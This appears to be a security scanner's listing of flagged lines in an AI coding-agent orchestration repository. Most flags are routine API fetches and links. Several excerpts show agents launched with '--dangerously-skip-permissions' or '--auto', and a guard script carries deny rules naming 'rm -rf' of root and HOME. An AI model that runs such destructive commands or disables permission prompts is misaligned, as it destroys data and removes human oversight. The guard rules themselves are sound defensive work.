packages/control-plane/src/shipper/discover.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/shipper/ship.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/shipper/watch.ts
packages/control-plane/ui/package.json
- Executable scriptline 1
Executable file
packages/control-plane/ui/postcss.config.js
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/App.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/Live.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/Shell.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/api.ts
- Executable scriptline 1
Executable file - Network accessline 107
if (status === 404 || status === 405) { try { const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string }; - Network accessline 108
try { const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string }; if (h.version && h.installed_version && h.installed_version !== "unknown" && h.ver - Network accessline 109
const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string }; - Network accessline 129
async function get<T>(path: string): Promise<T> { const res = await fetch(`${base()}${path}`, { headers: authHeaders() }); - Network accessline 130
const res = await fetch(`${base()}${path}`, { headers: authHeaders() }); - Network accessline 150
export async function postAnswer(source: string, run: string, answer: string): Promise<{ path: string; resume: string }> { const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/answer`, { meth - Network accessline 151
const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/answer`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify({ answer }) }); - Network accessline 157
async function postJson<T>(path: string, body: unknown): Promise<T> { const res = await fetch(`${base()}${path}`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify(body) }); - Network accessline 158
const res = await fetch(`${base()}${path}`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify(body) }); - Network accessline 172
while (!ctl.signal.aborted) { try { const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal }); - Network accessline 173
try { const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal }); if (res.ok && res.body) { - Network accessline 174
const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal }); - Network accessline 198
export async function deleteRun(source: string, run: string): Promise<{ ok: true; removed: { runs: number; events: number; sources: number }; remaining_runs: number }> { const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(sour - Network accessline 199
const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}`, { method: "DELETE", headers: authHeaders({ "content-type": "application/json" }) });
packages/control-plane/ui/src/design/fonts.css
- Network accessline 1
/* Web fonts, build-standalone parity: Inter 300-800, JetBrains Mono 400/500. */ @import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap"); - Network accessline 2
@import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap");
packages/control-plane/ui/src/design/primitives/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/design/tailwind.preset.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/display.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/format.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/main.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/ask/api.ts
- Executable scriptline 1
Executable file - Network accessline 26
async function call<T>(path: string, init?: RequestInit): Promise<T> { const res = await fetch(`${base()}${path}`, { ...init, headers: headers(init?.body ? { "content-type": "application/json" } : {}) }); - Network accessline 27
const res = await fetch(`${base()}${path}`, { ...init, headers: headers(init?.body ? { "content-type": "application/json" } : {}) }); - Network accessline 59
export async function streamMessage(id: string, onEvent: (e: AskEvent) => void, signal?: AbortSignal): Promise<void> { const res = await fetch(`${base()}/v1/ask/messages/${encodeURIComponent(id)}/stream`, { headers: headers({ accept: "tex - Network accessline 60
const res = await fetch(`${base()}/v1/ask/messages/${encodeURIComponent(id)}/stream`, { headers: headers({ accept: "text/event-stream" }), signal });
packages/control-plane/ui/src/pages/ask/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/board/Board.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/board/columns.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/board/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/compose/api.ts
- Executable scriptline 1
Executable file - Network accessline 16
export async function postRun(body: RunRequest): Promise<RunStarted> { const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: { "content-type": "application/json", ...auth() }, body: JSON.stringify(body) }); - Network accessline 17
const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: { "content-type": "application/json", ...auth() }, body: JSON.stringify(body) }); - Network accessline 28
export async function fetchIssues(repo: string): Promise<RepoIssue[]> { const res = await fetch(`${base()}/v1/repos/issues?repo=${encodeURIComponent(repo)}`, { headers: auth() }); - Network accessline 29
const res = await fetch(`${base()}/v1/repos/issues?repo=${encodeURIComponent(repo)}`, { headers: auth() });
packages/control-plane/ui/src/pages/compose/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/compose/store.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/cost/data.ts
packages/control-plane/ui/src/pages/cost/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/home/Home.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/home/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/integrations/index.tsx
packages/control-plane/ui/src/pages/merge/index.tsx
- Executable scriptline 1
Executable file - Network accessline 14
async function call<T>(path: string, init?: RequestInit): Promise<T> { const res = await fetch(`${base()}${path}`, init); - Network accessline 15
const res = await fetch(`${base()}${path}`, init); - Network accessline 22
async function callRun(dryRun: boolean): Promise<RunResult> { const res = await fetch(`${base()}/v1/merge/run`, { method: "POST", headers: headers(true), body: JSON.stringify({ dryRun }) }); - Network accessline 23
const res = await fetch(`${base()}/v1/merge/run`, { method: "POST", headers: headers(true), body: JSON.stringify({ dryRun }) });
packages/control-plane/ui/src/pages/models/index.tsx
packages/control-plane/ui/src/pages/plans/Plans.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/plans/api.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/plans/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/plans/logic.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/receipts/Receipts.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/receipts/api.ts
- Executable scriptline 1
Executable file - Network accessline 14
export async function verifyRun(source: string, run: string): Promise<VerifyResult> { const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/verify`, { method: "POST", headers: headers({ "conte - Network accessline 15
const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/verify`, { method: "POST", headers: headers({ "content-type": "application/json" }), body: "{}" }); - Network accessline 22
export async function getPublicKey(): Promise<PublicKey | null> { const res = await fetch(`${base()}/v1/keys`, { headers: headers() }); - Network accessline 23
const res = await fetch(`${base()}/v1/keys`, { headers: headers() });
packages/control-plane/ui/src/pages/receipts/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/registry.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/risk/index.tsx
packages/control-plane/ui/src/pages/run-controls/index.tsx
- Executable scriptline 1
Executable file - Network accessline 13
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Network accessline 15
const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/${kind}`, { method: "POST", headers, body: "{}" });
packages/control-plane/ui/src/pages/run/facts.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/run/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/run/model.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/run/stream.ts
- Network accessline 1
// Run thread data helpers: authenticated artifact reads and an SSE reader built on fetch (EventSource cannot send the bearer header). - Executable scriptline 1
Executable file - Network accessline 11
export async function fetchArtifact(s: string, r: string, name: string): Promise<string | null> { try { const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() }); - Network accessline 12
try { const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() }); return res.ok ? await res.text() : null; - Network accessline 13
const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() }); - Network accessline 22
for (let cursor = after, guard = 0; guard < 200; guard++) { const q = cursor >= 0 ? `?after=${cursor}&limit=1000` : "?limit=1000"; const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() }); - Network accessline 23
const q = cursor >= 0 ? `?after=${cursor}&limit=1000` : "?limit=1000"; const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() }); if (!res.ok) break; - Network accessline 24
const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() }); - Network accessline 49
export async function followStream(s: string, r: string, lastSeq: () => number, onEvent: (e: RunEvent) => void, signal: AbortSignal): Promise<void> { try { const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`, - Network accessline 50
try { const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`, { headers: { ...headers(), accept: "text/event-stream" }, signal }); if (!res.ok || !res.body) return; - Network accessline 51
const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`, { headers: { ...headers(), accept: "text/event-stream" }, signal });
packages/control-plane/ui/src/pages/run/timeline.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/runs/Lists.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/runs/OutcomeChip.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/runs/data.ts
packages/control-plane/ui/src/pages/runs/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/runs/issues.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/settings/config-api.ts
- Executable scriptline 1
Executable file - Network accessline 17
export async function loadConfig(): Promise<ConfigState> { const res = await fetch(`${base()}/v1/config`, { headers: headers() }); - Network accessline 18
const res = await fetch(`${base()}/v1/config`, { headers: headers() }); - Network accessline 24
export async function saveConfig(config: ConfigObject, etag: string): Promise<{ etag: string; config: ConfigObject }> { const res = await fetch(`${base()}/v1/config`, { method: "PUT", headers: headers({ "content-type": "application/json", - Network accessline 25
const res = await fetch(`${base()}/v1/config`, { method: "PUT", headers: headers({ "content-type": "application/json", "if-match": etag }), body: JSON.stringify({ config }) });
packages/control-plane/ui/src/pages/settings/index.tsx
packages/control-plane/ui/src/pages/wired.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/workspaces/Workspaces.tsx
- Executable scriptline 1
Executable file - Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
[Credential-related source omitted] - Network accessline 19
async function runWorkspace(workspace: string, target: string): Promise<{ pid: number; command: string }> { const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: headers(), body: JSON.stringify({ workspace, target }) }); - Network accessline 20
const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: headers(), body: JSON.stringify({ workspace, target }) });
packages/control-plane/ui/src/pages/workspaces/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/pages/workspaces/logic.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/palette/index.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/palette/items.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/shell/AppShell.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/shell/Mascot.tsx
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/shell/hooks.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/src/shell/theme.ts
- Executable scriptline 1
Executable file
packages/control-plane/ui/tailwind.config.js
- Executable scriptline 1
Executable file
packages/control-plane/ui/vite.config.ts
packages/loki-seal/.claude-plugin/marketplace.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-marketplace.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-marketplace.json", - Network accessline 9
"source": "./", "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. No model calls.", "homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 10
"description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. No model calls.", "homepage": "https://github.com/asklokesh/loki-mode", "category": "testing", - Network accessline 11
"homepage": "https://github.com/asklokesh/loki-mode",
packages/loki-seal/.claude-plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 5
"version": "0.1.0", "description": "Stop hook that refuses 'done' while the repo's real tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls, prints a 5-line receipt.", "author": { "name": "Autonomi" - Network accessline 6
"description": "Stop hook that refuses 'done' while the repo's real tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls, prints a 5-line receipt.", "author": { "name": "Autonomi", "url": "https://www. - Network accessline 7
"author": { "name": "Autonomi", "url": "https://www.autonomi.dev/" }, - Network accessline 8
"homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 9
"repository": "https://github.com/asklokesh/loki-mode",
packages/loki-seal/README.md
packages/loki-seal/bin/contract.js
- Executable scriptline 1
Executable file
packages/loki-seal/bin/loki-seal.js
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 12
const mode = process.argv[2]; let ctx = { input: {}, root: process.cwd() }; const REPO = 'https://github.com/asklokesh/loki-mode'; - Network accessline 13
let ctx = { input: {}, root: process.cwd() }; const REPO = 'https://github.com/asklokesh/loki-mode'; const MAX_BLOCKS = 5; // safety valve: never trap a session in an endless stop loop - Network accessline 14
const REPO = 'https://github.com/asklokesh/loki-mode';
packages/loki-seal/demo/demo.tape
- Dangerous shell operationline 19
Type "rm test/add.test.js" Enter
packages/loki-seal/demo/dry-run.sh
packages/loki-seal/demo/setup.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/loki-mode/.claude-plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 7
"author": { "name": "Autonomi", "url": "https://www.autonomi.dev/" - Network accessline 8
"name": "Autonomi", "url": "https://www.autonomi.dev/" }, - Network accessline 9
"url": "https://www.autonomi.dev/" - Network accessline 10
}, "homepage": "https://github.com/asklokesh/loki-mode", "repository": "https://github.com/asklokesh/loki-mode", - Network accessline 11
"homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 12
"repository": "https://github.com/asklokesh/loki-mode",
plugins/loki-mode/README.md
plugins/loki-mode/commands/loki-verify.md
- Broad permissionsline 1
Bash(loki verify:*), Bash(command -v:*), Read
plugins/loki-mode/commands/start.md
- Broad permissionsline 1
Bash(loki start:*), Bash(loki status:*), Bash(command -v:*), Bash(ls:*)
plugins/loki-mode/scripts/loki-guard.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 12
# - rm -rf on /tmp/loki-* globs while a live run may be staging there - Dangerous shell operationline 13
# - rm -rf of / or $HOME roots - Dangerous shell operationline 83
# 4a. rm -rf targeting /tmp/loki-* while a live run may be staging there. - Dangerous shell operationline 86
deny "LOKI_GUARD: refusing rm -rf on /tmp/loki-* while a live loki run is staging there (pgrep -f loki-run- matched). Scope cleanup to known-dead paths, or stop the run first." - Dangerous shell operationline 90
# 4b. rm -rf of filesystem root or HOME root. - Dangerous shell operationline 93
deny "LOKI_GUARD: refusing rm -rf of a filesystem or HOME root. This is almost certainly a mistake."
plugins/loki-mode/scripts/loki-stop-verify.sh
providers/claude.sh
providers/loader.sh
providers/managed.py
- Executable scriptline 1
Executable file - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 270
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 503
[Credential-related source omitted]
providers/model_catalog.json
- Network accessline 169
{ "region": "global_en", "openai_base_url": "https://api.minimax.io/v1", - Network accessline 170
"region": "global_en", "openai_base_url": "https://api.minimax.io/v1", "anthropic_base_url": "https://api.minimax.io/anthropic", - Network accessline 171
"openai_base_url": "https://api.minimax.io/v1", - Network accessline 172
"anthropic_base_url": "https://api.minimax.io/anthropic", - Network accessline 173
"docs_root": "https://platform.minimax.io/docs" - Network accessline 175
{ "region": "cn_zh", "openai_base_url": "https://api.minimaxi.com/v1", - Network accessline 176
"region": "cn_zh", "openai_base_url": "https://api.minimaxi.com/v1", "anthropic_base_url": "https://api.minimaxi.com/anthropic", - Network accessline 177
"openai_base_url": "https://api.minimaxi.com/v1", - Network accessline 178
"anthropic_base_url": "https://api.minimaxi.com/anthropic", - Network accessline 179
"docs_root": "https://platform.minimaxi.com/docs"
providers/model_route_exec.sh
providers/model_routes.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 4
[Credential-related source omitted] - Network accessline 7
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted] - Network accessline 9
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Network accessline 10
# ollama/<id> http://localhost:11434 - Network accessline 11
# lmstudio/<id> http://localhost:1234 - Network accessline 12
# llamacpp/<id> http://localhost:8080 - Network accessline 13
# vllm/<id> http://localhost:8000 - Access to secretsline 14
[Credential-related source omitted] - Network accessline 22
loki_model_route_table() { case "$1" in openrouter) echo "https://openrouter.ai/api|OPENROUTER_API_KEY" ;; - Network accessline 23
case "$1" in openrouter) echo "https://openrouter.ai/api|OPENROUTER_API_KEY" ;; ollama) echo "http://localhost:11434|" ;; - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 25
ollama) echo "http://localhost:11434|" ;; - Network accessline 26
lmstudio) echo "http://localhost:1234|" ;; - Network accessline 27
llamacpp) echo "http://localhost:8080|" ;; - Network accessline 28
vllm) echo "http://localhost:8000|" ;; - Access to secretsline 29
[Credential-related source omitted] - Network accessline 119
loki_models_probe_local() { local rt url path body for rt in "ollama|http://localhost:11434|/api/tags" \ - Network accessline 120
local rt url path body for rt in "ollama|http://localhost:11434|/api/tags" \ "lmstudio|http://localhost:1234|/v1/models" \ - Network accessline 121
for rt in "ollama|http://localhost:11434|/api/tags" \ - Network accessline 122
"lmstudio|http://localhost:1234|/v1/models" \ - Network accessline 123
"llamacpp|http://localhost:8080|/v1/models" \ - Network accessline 124
"vllm|http://localhost:8000|/v1/models"; do - Network accessline 126
$rt EOF body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue - Network accessline 127
EOF body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue [ -n "$body" ] || continue - Network accessline 128
body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue
providers/models.sh
- Executable scriptline 1
#!/usr/bin/env bash
providers/opencode.sh
- Executable scriptline 1
#!/usr/bin/env bash - Instruction override signalline 50
# non-interactive. It is not: without --auto the run stalls on the first # permission prompt with no TTY to answer it, which is indistinguishable from a # hang. This is opencode's equivalent of claude's --dangerously-skip-permissions - Instruction override signalline 51
# permission prompt with no TTY to answer it, which is indistinguishable from a # hang. This is opencode's equivalent of claude's --dangerously-skip-permissions # which providers/claude.sh already passes. - Instruction override signalline 52
# hang. This is opencode's equivalent of claude's --dangerously-skip-permissions - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted]
references/advanced-patterns.md
- Network accessline 447
- [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) - Network accessline 448
- [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/) - Network accessline 449
- [GoalAct: Global Planning + Hierarchical Execution](https://arxiv.org/abs/2504.16563) - Network accessline 450
- [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11) - Network accessline 451
- [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845) - Network accessline 452
- [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1) - Network accessline 453
- [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns)
references/agent-types.md
- Instruction override signalline 162
# Option 1: Sequential (simple, reliable) for agent in frontend backend database; do claude -p "Act as $agent agent..." --dangerously-skip-permissions - Instruction override signalline 163
for agent in frontend backend database; do claude -p "Act as $agent agent..." --dangerously-skip-permissions done - Instruction override signalline 164
claude -p "Act as $agent agent..." --dangerously-skip-permissions - Instruction override signalline 169
for i in {1..5}; do tmux new-window -t loki-pool -n "agent-$i" \ "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'" - Instruction override signalline 170
tmux new-window -t loki-pool -n "agent-$i" "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'" - Instruction override signalline 171
"claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
references/cursor-learnings.md
- Network accessline 3
> **Source:** [Cursor Blog - Scaling Agents](https://cursor.com/blog/scaling-agents) (January 2026)
references/deployment.md
- Network accessline 217
}, "healthCheck": { "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], - Network accessline 218
"healthCheck": { "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], "interval": 30, - Network accessline 219
"command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], - Network accessline 534
# Run smoke tests curl -f https://green.app.example.com/health - Network accessline 535
curl -f https://green.app.example.com/health
references/invariant-checks.md
- Access to secretsline 58
[Credential-related source omitted]
references/lab-research-patterns.md
- Network accessline 517
**Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 518
- [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 519
- [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/) - Network accessline 520
- [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/) - Network accessline 521
- [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/) - Network accessline 522
- [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/) - Network accessline 523
- [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a) - Network accessline 524
- [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1) - Network accessline 526
**Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 527
- [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 528
- [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Network accessline 529
- [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices) - Network accessline 530
- [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents) - Network accessline 531
- [Alignment Faking](https://www.anthropic.com/research/alignment-faking) - Network accessline 532
- [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking) - Network accessline 533
- [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use) - Network accessline 534
- [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models)
references/magic-modules-patterns.md
- Network accessline 11
| Project | Author | Contribution | Link | |---------|--------|--------------|------| | MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source - Network accessline 12
|---------|--------|--------------|------| | MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source registry | [github.com/romannurik/MagicModu - Network accessline 13
| MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source registry | [github.com/romannurik/MagicModules](https://github.com/romannurik/MagicMod - Network accessline 14
| MoMoA | Reto Meier (Google Labs) | Multi-persona debate, conflicting expert critique, consensus with HITL escalation | [github.com/retomeier/momoa](https://github.com/retomeier/momoa) |
references/magic-rarv-integration.md
- Dangerous shell operationline 16
the saved file. Force re-extract with `rm .loki/magic/tokens.json`.
references/mcp-integration.md
- Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Network accessline 90
**Pricing:** Pay-per-query (not token-based). See https://parallel.ai/pricing - Network accessline 92
**API Documentation:** https://docs.parallel.ai/ - Access to secretsline 234
[Credential-related source omitted] - Network accessline 257
prompt=""" Use Playwright MCP to: 1. Navigate to http://localhost:3000/login - Network accessline 258
Use Playwright MCP to: 1. Navigate to http://localhost:3000/login 2. Fill in test credentials - Network accessline 259
1. Navigate to http://localhost:3000/login - Network accessline 307
- [MCP Specification](https://modelcontextprotocol.io/) - Network accessline 308
- [Parallel AI Documentation](https://docs.parallel.ai/) - Network accessline 309
- [Playwright MCP](https://github.com/anthropics/anthropic-quickstarts/tree/main/mcp-playwright) - Network accessline 310
- [Repowise](https://repowise.dev/)
references/openai-patterns.md
- Network accessline 628
**OpenAI Official:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Network accessline 629
- [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Network accessline 630
- [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Network accessline 631
- [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Network accessline 632
- [AGENTS.md Specification](https://agents.md/) - Network accessline 634
**Deep Research & Reasoning:** - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) - Network accessline 635
- [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) - Network accessline 636
- [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf) - Network accessline 637
- [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/) - Network accessline 638
- [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices) - Network accessline 640
**Safety & Monitoring:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - Network accessline 641
- [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - Network accessline 642
- [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Network accessline 643
- [Computer-Using Agent](https://openai.com/index/computer-using-agent/) - Network accessline 645
**Standards & Interoperability:** - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Network accessline 646
- [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Network accessline 647
- [OpenAI for Developers 2025](https://developers.openai.com/blog/openai-for-developers-2025/)
references/sdk-mode.md
- Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted]
references/sdlc-phases.md
references/tool-orchestration.md
- Network accessline 131
1. **Capture intent, not just actions** ([Hashrocket](https://hashrocket.substack.com/p/the-hidden-cost-of-well-fix-it-later)) - Network accessline 134
2. **Track recovery rate** ([Assessment Framework, arXiv 2512.12791](https://arxiv.org/html/2512.12791v1)) - Network accessline 138
3. **Distributed tracing** ([Maxim AI](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/)) - Network accessline 142
4. **Tool reliability separate from selection** ([Stanford/Harvard](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart - Network accessline 147
5. **Quality pillars beyond outcomes** ([Assessment Framework](https://arxiv.org/html/2512.12791v1)) - Network accessline 654
Based on [Measurement Imbalance research (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064): - Network accessline 671
**OpenAI Agents SDK:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing - Network accessline 672
- [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing - Network accessline 673
- [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Orchestration patterns - Network accessline 674
- [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Official developer guide - Network accessline 675
- [AGENTS.md Specification](https://agents.md/) - Standard for agent instructions - Network accessline 676
- [Tracing Documentation](https://openai.github.io/openai-agents-python/tracing/) - Span types and observability - Network accessline 678
